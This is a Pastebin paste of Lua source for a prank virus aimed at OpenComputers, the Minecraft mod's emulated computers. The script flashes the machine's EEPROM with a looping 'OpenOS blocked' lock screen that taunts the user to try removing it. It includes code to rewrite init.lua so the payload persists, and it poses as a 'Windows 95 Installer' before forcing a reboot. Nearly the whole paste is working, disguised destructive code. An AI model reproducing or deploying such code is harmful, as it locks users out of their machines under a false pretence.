Ewgeniy

w95

Nov 27th, 2021 (edited)
101
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 9.33 KB | None | 0 0
  1. local comp = require("computer")
  2. local tty = require("tty")
  3. local arg = 1
  4.  
  5. local virusPath = "bin/virus.lua"
  6. local EEPROMLabel = "EEPROM (Lua BIOS)"
  7.  
  8. ------------------------------------------------------------------------------------------------------------------------
  9.  
  10. local EEPROMCode = [[
  11.  
  12. local textLines = {
  13.   "Поздравляем!",
  14.   "Вы стали одним из первых счастливых обладателей вируса на OpenComputers.",
  15.   "Попытайтесь его удалить - посмотрим, что у вас выйдет. ",
  16.   "Ну, а нубикам советую обращаться к ECS для разблокировки компа.",
  17.   " ",
  18.   "Хех)",
  19. }
  20.  
  21. local component_invoke = component.invoke
  22. function boot_invoke(address, method, ...)
  23.   local result = table.pack(pcall(component_invoke, address, method, ...))
  24.   if not result[1] then
  25.     return nil, result[2]
  26.   else
  27.     return table.unpack(result, 2, result.n)
  28.   end
  29. end
  30. ---------------------------------------------------------------
  31. local eeprom = component.list("eeprom")()
  32. computer.getBootAddress = function()
  33.   return boot_invoke(eeprom, "getData")
  34. end
  35. computer.setBootAddress = function(address)
  36.   return boot_invoke(eeprom, "setData", address)
  37. end
  38.  
  39. do
  40.   _G.screen = component.list("screen")()
  41.   _G.gpu = component.list("gpu")()
  42.   if gpu and screen then
  43.     boot_invoke(gpu, "bind", screen)
  44.   end
  45. end
  46. ---------------------------------------------------------------
  47.  
  48. local function centerText(mode,coord,text)
  49.   local dlina = unicode.len(text)
  50.   local xSize,ySize = boot_invoke(gpu, "getResolution")
  51.  
  52.   if mode == "x" then
  53.     boot_invoke(gpu, "set", math.floor(xSize/2-dlina/2),coord,text)
  54.   elseif mode == "y" then
  55.     boot_invoke(gpu, "set", coord, math.floor(ySize/2),text)
  56.   else
  57.     boot_invoke(gpu, "set", math.floor(xSize/2-dlina/2),math.floor(ySize/2),text)
  58.   end
  59. end
  60.  
  61. local function virus()
  62.   local background, foreground = 0x0000AA, 0xCCCCCC
  63.   local xSize, ySize = boot_invoke(gpu, "getResolution")
  64.   boot_invoke(gpu, "setBackground", background)
  65.   boot_invoke(gpu, "fill", 1, 1, xSize, ySize, " ")
  66.  
  67.   boot_invoke(gpu, "setBackground", foreground)
  68.   boot_invoke(gpu, "setForeground", background)
  69.  
  70.   local y = math.floor(ySize / 2 - (#textLines + 2) / 2)
  71.   centerText("x", y, " OpenOS заблокирована! ")
  72.   y = y + 2
  73.  
  74.   boot_invoke(gpu, "setBackground", background)
  75.   boot_invoke(gpu, "setForeground", foreground)
  76.  
  77.   for i = 1, #textLines do
  78.     centerText("x", y, textLines[i])
  79.     y = y + 1
  80.   end
  81.  
  82.   while true do
  83.     computer.pullSignal()
  84.   end
  85. end
  86.  
  87. if gpu then virus() end
  88. ]]
  89.  
  90. local INITCode = [[
  91.  
  92. local backgroundColor = 0x262626
  93. local foregroundColor = 0xcccccc
  94.  
  95. do
  96.  
  97.   _G._OSVERSION = "OpenOS 1.5"
  98.  
  99.   local component = component
  100.   local computer = computer
  101.   local unicode = unicode
  102.  
  103.   -- Runlevel information.
  104.   local runlevel, shutdown = "S", computer.shutdown
  105.   computer.runlevel = function() return runlevel end
  106.   computer.shutdown = function(reboot)
  107.     runlevel = reboot and 6 or 0
  108.     if os.sleep then
  109.       computer.pushSignal("shutdown")
  110.       os.sleep(0.1) -- Allow shutdown processing.
  111.     end
  112.     shutdown(reboot)
  113.   end
  114.  
  115.   -- Low level dofile implementation to read filesystem libraries.
  116.   local rom = {}
  117.   function rom.invoke(method, ...)
  118.     return component.invoke(computer.getBootAddress(), method, ...)
  119.   end
  120.   function rom.open(file) return rom.invoke("open", file) end
  121.   function rom.read(handle) return rom.invoke("read", handle, math.huge) end
  122.   function rom.close(handle) return rom.invoke("close", handle) end
  123.   function rom.inits() return ipairs(rom.invoke("list", "boot")) end
  124.   function rom.isDirectory(path) return rom.invoke("isDirectory", path) end
  125.  
  126.   local screen = component.list('screen',true)()
  127.   for address in component.list('screen',true) do
  128.     if #component.invoke(address, 'getKeyboards') > 0 then
  129.       screen = address
  130.     end
  131.   end
  132.  
  133.   -- Report boot progress if possible.
  134.   local gpu = component.list("gpu", true)()
  135.   local w, h
  136.   if gpu and screen then
  137.     component.invoke(gpu, "bind", screen)
  138.     w, h = component.invoke(gpu, "getResolution")
  139.     component.invoke(gpu, "setResolution", w, h)
  140.     component.invoke(gpu, "setBackground", backgroundColor)
  141.     component.invoke(gpu, "setForeground", foregroundColor)
  142.     component.invoke(gpu, "fill", 1, 1, w, h, " ")
  143.   end
  144.   local y = 1
  145.   local function status(msg)
  146.  
  147.  
  148.     local yPos = math.floor(h / 2)
  149.     local length = #msg
  150.     local xPos = math.floor(w / 2 - length / 2)
  151.  
  152.     component.invoke(gpu, "fill", 1, yPos, w, 1, " ")
  153.     component.invoke(gpu, "set", xPos, yPos, msg)
  154.  
  155.     -- if gpu and screen then
  156.     --   component.invoke(gpu, "set", 1, y, msg)
  157.     --   if y == h then
  158.     --     component.invoke(gpu, "copy", 1, 2, w, h - 1, 0, -1)
  159.     --     component.invoke(gpu, "fill", 1, h, w, 1, " ")
  160.     --   else
  161.     --     y = y + 1
  162.     --   end
  163.     -- end
  164.   end
  165.  
  166.   status("Booting " .. _OSVERSION .. "...")
  167.  
  168.   -- Custom low-level loadfile/dofile implementation reading from our ROM.
  169.   local function loadfile(file)
  170.     status("> " .. file)
  171.     local handle, reason = rom.open(file)
  172.     if not handle then
  173.       error(reason)
  174.     end
  175.     local buffer = ""
  176.     repeat
  177.       local data, reason = rom.read(handle)
  178.       if not data and reason then
  179.         error(reason)
  180.       end
  181.       buffer = buffer .. (data or "")
  182.     until not data
  183.     rom.close(handle)
  184.     return load(buffer, "=" .. file)
  185.   end
  186.  
  187.   local function dofile(file)
  188.     local program, reason = loadfile(file)
  189.     if program then
  190.       local result = table.pack(pcall(program))
  191.       if result[1] then
  192.         return table.unpack(result, 2, result.n)
  193.       else
  194.         error(result[2])
  195.       end
  196.     else
  197.       error(reason)
  198.     end
  199.   end
  200.  
  201.   status("Initializing package management...")
  202.  
  203.   -- Load file system related libraries we need to load other stuff moree
  204.   -- comfortably. This is basically wrapper stuff for the file streams
  205.   -- provided by the filesystem components.
  206.   local package = dofile("/lib/package.lua")
  207.  
  208.   do
  209.     -- Unclutter global namespace now that we have the package module.
  210.     --_G.component = nil
  211.     _G.computer = nil
  212.     _G.process = nil
  213.     _G.unicode = nil
  214.  
  215.     -- Initialize the package module with some of our own APIs.
  216.     package.preload["buffer"] = loadfile("/lib/buffer.lua")
  217.     package.preload["component"] = function() return component end
  218.     package.preload["computer"] = function() return computer end
  219.     package.preload["filesystem"] = loadfile("/lib/filesystem.lua")
  220.     package.preload["io"] = loadfile("/lib/io.lua")
  221.     package.preload["unicode"] = function() return unicode end
  222.  
  223.     -- Inject the package and io modules into the global namespace, as in Lua.
  224.     _G.package = package
  225.     _G.io = require("io")
  226.        
  227.   end
  228.  
  229.   status("Initializing file system...")
  230.  
  231.   -- Mount the ROM and temporary file systems to allow working on the file
  232.   -- system module from this point on.
  233.   local filesystem = require("filesystem")
  234.   filesystem.mount(computer.getBootAddress(), "/")
  235.  
  236.   status("Running boot scripts...")
  237.  
  238.   -- Run library startup scripts. These mostly initialize event handlers.
  239.   local scripts = {}
  240.   for _, file in rom.inits() do
  241.     local path = "boot/" .. file
  242.     if not rom.isDirectory(path) then
  243.       table.insert(scripts, path)
  244.     end
  245.   end
  246.   table.sort(scripts)
  247.   for i = 1, #scripts do
  248.     dofile(scripts[i])
  249.   end
  250.  
  251.   status("Initializing components...")
  252.  
  253.   local primaries = {}
  254.   for c, t in component.list() do
  255.     local s = component.slot(c)
  256.     if (not primaries[t] or (s >= 0 and s < primaries[t].slot)) and t ~= "screen" then
  257.       primaries[t] = {address=c, slot=s}
  258.     end
  259.     computer.pushSignal("component_added", c, t)
  260.   end
  261.   for t, c in pairs(primaries) do
  262.     component.setPrimary(t, c.address)
  263.   end
  264.   os.sleep(0.5) -- Allow signal processing by libraries.
  265.   --computer.pushSignal("init") -- so libs know components are initialized.
  266.  
  267.  -- status("Initializing system...")
  268.   --require("term").clear()
  269.   os.sleep(0.1) -- Allow init processing.
  270.   runlevel = 1
  271. end
  272. ]]
  273.  
  274. local component = require("component")
  275. local args = { ... }
  276.  
  277. local function flashEEPROM()
  278.   local eeprom = component.getPrimary("eeprom")
  279.   eeprom.set(EEPROMCode)
  280.   eeprom.setLabel(EEPROMLabel)
  281. end
  282.  
  283. local function rewriteInit()
  284.   local file = io.open("init.lua", "w")
  285.   file:write(INITCode, "\n", "\n")
  286.   file:write("pcall(loadfile(\"" .. virusPath .. "\"), \"flashEEPROM\")", "\n", "\n")
  287.   file:write("require(\"computer\").shutdown(true)")
  288.   file:close()
  289. end
  290.  
  291. if args[1] == "flashEEPROM" then
  292.   flashEEPROM()
  293. else
  294.  
  295.   flashEEPROM()
  296.  
  297. end
  298.  
  299.  
  300.  
  301.  
  302.  
  303.  
  304.  
  305.  
  306.  
  307.  
  308.  
  309.  
  310.  
  311.  
  312.  
  313.  
  314.  
  315.  
  316.  
  317.  
  318.  
  319.  
  320.  
  321.  
  322. -----------------------------------------------------------------------------
  323.  
  324. local function gaster()
  325. while true do
  326. print ("AXAXAXAXAXAXAXAXAXAXAXAXAXAXAXAXAXAXAXAXAXAXAXAXAXAXAXA")
  327. end
  328. end
  329.  
  330. local function sleep(time)
  331. os.sleep(time)
  332. end
  333.  
  334. local function w95()
  335.  print("Initialization...")
  336. sleep(1)
  337.  print("Preparing to run Windows 95 Installer.")
  338. sleep(1)
  339.  print("Start to Installing...")
  340. sleep(1)
  341. print("Rebooting...")
  342. sleep(0.5)
  343. comp.shutdown(true)
  344. end
  345.  
  346. local function clear()
  347.  tty.clear()
  348. end
  349.  
  350. clear()
  351.  
  352. sleep(1)
  353.  
  354. if arg == 1 then
  355. sleep(0)
  356. else
  357. gaster()
  358. end
  359.  
  360. w95()
Add Comment
Please, Sign In to add comment